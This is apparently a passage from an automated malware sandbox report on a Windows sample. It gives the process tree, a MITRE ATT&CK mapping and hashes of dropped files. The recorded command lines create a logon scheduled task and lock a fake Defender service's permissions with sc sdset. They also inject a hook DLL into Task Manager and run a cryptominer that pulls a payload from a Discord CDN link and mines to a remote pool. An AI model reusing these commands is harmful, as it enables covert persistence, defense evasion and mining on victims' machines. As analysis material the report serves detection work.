      Suspicious use of AdjustPrivilegeToken
      PID:2072
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:2348
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:3240
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3148
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4832
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:3784
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:4588
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1652
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3776
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:3196
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:1196
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2936
    - - C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 6abab537-2f2a-4993-b8f5-26ee25423733 --tls --nicehash -o showlock.net:443 --rig-id 6abab537-2f2a-4993-b8f5-26ee25423733 --tls --nicehash -o showlock.net:80 --rig-id 6abab537-2f2a-4993-b8f5-26ee25423733 --nicehash --http-port 3433 --http-access-token 6abab537-2f2a-4993-b8f5-26ee25423733 --randomx-wrmsr=-1
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:1908
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe -hide 1908
        5⤵
        Executes dropped EXE
        
        PID:4800
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:4976
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:3284
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:4144
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4612 -s 776
    3⤵
    - Program crash
    PID:1124
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2272 -s 764
  2⤵
  - Program crash
  PID:4412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2272 -ip 2272
1⤵
PID:4604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4612 -ip 4612
1⤵
PID:3676

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_moyoljxm.ee5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_moyoljxm.ee5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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713674d5e968cbe2102394be0b2bae6f.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Size 2.8MB
SHA256 f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
MD5 713674d5e968cbe2102394be0b2bae6f
SHA1 90ac9bd8e61b2815feb3599494883526665cb81e
SHA512 e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
SSDEEP 49152:+uD5PvFC1ReeoK0HVcCkrk0VPnpjuiQgldnL0XeupsNLGj+wyVxT:7aH7oaCWk0NpDlquu4Gj+R
MD5 SHA1 SHA512 SSDEEP

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dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Size 2.0MB
SHA256 61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
MD5 dcb505dc2b9d8aac05f4ca0727f5eadb
SHA1 4f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA512 31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
SSDEEP 49152:si+HNTN8UVx4N6h/0k711d70aozkXWAkTmQ2U2lT4:r8J8UVs6mLz9
MD5 SHA1 SHA512 SSDEEP

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injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

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wup.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe
Size 5.2MB
SHA256 830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
MD5 4f649a57b7ddf3874c9a2163a73e9b07
SHA1 9c966520ba8233f13f168cade548baf5a30823ba
SHA512 b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
SSDEEP 98304:y43TfO5eFVcvEAIqNHdCtcB2rRpdZ/7BPZW6fMjONR7JHedeTYF:yJ5eFfdZ/lPZTwONRFiOYF
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3
MD5 SHA1 SHA512

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